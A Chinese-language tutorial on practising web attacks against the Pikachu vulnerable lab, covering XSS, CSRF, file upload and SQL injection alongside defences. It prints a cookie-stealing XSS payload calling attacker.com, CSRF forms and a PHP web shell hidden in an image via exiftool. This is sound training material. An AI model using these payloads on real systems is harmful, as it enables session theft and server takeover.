当前位置：首页 > news >正文

Pikachu靶场搭建后，除了SQL注入你还能用它练什么？一份超全实战指南

news 2026/5/30 16:40:44

Pikachu靶场实战指南：从SQL注入到全方位Web安全演练

当你第一次成功搭建Pikachu靶场时，那种成就感可能很快会被一个问题取代："接下来我该做什么？"大多数安全爱好者止步于基础的SQL注入练习，却错过了这个精巧靶场90%的价值。本文将带你解锁Pikachu的全部潜力，把它变成你的私人网络安全训练营。

1. 认识你的训练场：Pikachu靶场模块全景

Pikachu靶场就像一座精心设计的网络安全主题乐园，每个区域都针对不同的漏洞类型设置了互动体验。让我们先快速浏览它的核心训练区：

注入漏洞区：不仅是SQL注入，还包括XPath注入、LDAP注入等变种
跨站脚本(XSS)实验室：反射型、存储型、DOM型三种经典XSS全涵盖
CSRF攻击沙盒：GET/POST两种请求方式的伪造实战
文件上传战场：前端验证绕过、MIME类型欺骗、%00截断等花式突破
RCE游乐场：从简单的命令注入到复杂的代码执行链
越权访问迷宫：水平越权、垂直越权两种场景模拟
SSRF射击场：内网服务探测与协议处理漏洞利用
反序列化雷区：PHP对象注入的典型危险场景

每个模块都设计了从简单到复杂的多级挑战，就像游戏中的难度设置，适合不同阶段的练习者。例如在XSS区域，你会先遇到最基本的弹窗练习，逐步过渡到需要构造复杂payload的存储型XSS，最后是绕过过滤的DOM型XSS挑战。

2. 超越基础：中高级漏洞实战演练

2.1 XSS攻击的进阶之路

大多数人对XSS的理解停留在<script>alert(1)</script>，但在真实网络中，攻击要复杂得多。在Pikachu中，你可以尝试：

<!-- 存储型XSS构造示例 --> <script> fetch('https://attacker.com/steal?cookie='+document.cookie) </script>

这种payload会窃取用户cookie并发送到攻击者服务器。Pikachu的存储型XSS模块允许你观察这种攻击的完整生命周期：

在留言板注入恶意脚本
脚本被永久存储在数据库
其他用户查看留言时自动执行
攻击者远程接收被盗数据

防御要点：

输入输出双重过滤
关键Cookie设置HttpOnly属性
内容安全策略(CSP)部署

2.2 CSRF攻击的隐蔽艺术

跨站请求伪造(CSRF)就像网络世界的"催眠术"，让用户在不知情时执行操作。Pikachu的CSRF模块展示了两种典型场景：

GET型CSRF攻击：

<img src="http://target/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=123456&add=黑客修改&email=attacker@evil.com&submit=submit" width="0" height="0">

POST型CSRF攻击：

<form id="attack" action="http://target/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="女"> <input type="hidden" name="phonenum" value="123456"> <input type="hidden" name="add" value="黑客修改"> <input type="hidden" name="email" value="attacker@evil.com"> <input type="hidden" name="submit" value="submit"> </form> <script>document.getElementById('attack').submit();</script>

防御CSRF的关键是使用随机token、检查Referer头，或要求关键操作进行二次认证

2.3 文件上传的攻防博弈

文件上传漏洞是Web安全的"兵家必争之地"。Pikachu设计了多种防御机制供你挑战：

防御类型	绕过方法	示例payload
前端验证	修改HTML或直接发送请求	使用Burp拦截修改
MIME检查	伪造Content-Type	`Content-Type: image/jpeg`
扩展名黑名单	特殊扩展名	`.php5`,`.phtml`
内容检测	添加图片头	`GIF89a<?php system($_GET['cmd']);?>`

# 使用Exiftool注入PHP代码到图片 exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg mv image.jpg shell.php.jpg

3. 从攻击到防御：构建完整安全思维

真正的安全专家不仅会攻击，更懂得如何防御。Pikachu的每个漏洞模块都对应着防护方案：

3.1 SQL注入防护实践

不安全代码：

$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $id";

防护方案对比：

方法	实现	优点	缺点
预处理语句	`$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");`	最安全	需要支持
过滤转义	`$id = mysqli_real_escape_string($conn, $_GET['id']);`	兼容性好	可能遗漏
白名单验证	`if(!preg_match('/^\d+$/', $id)) die('Invalid input');`	简单有效	灵活性低

3.2 XSS防御的多层策略

// 输入过滤 $input = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8'); // 输出转义 echo '<div>' . htmlentities($userContent, ENT_QUOTES, 'UTF-8') . '</div>'; // CSP头部示例 header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com");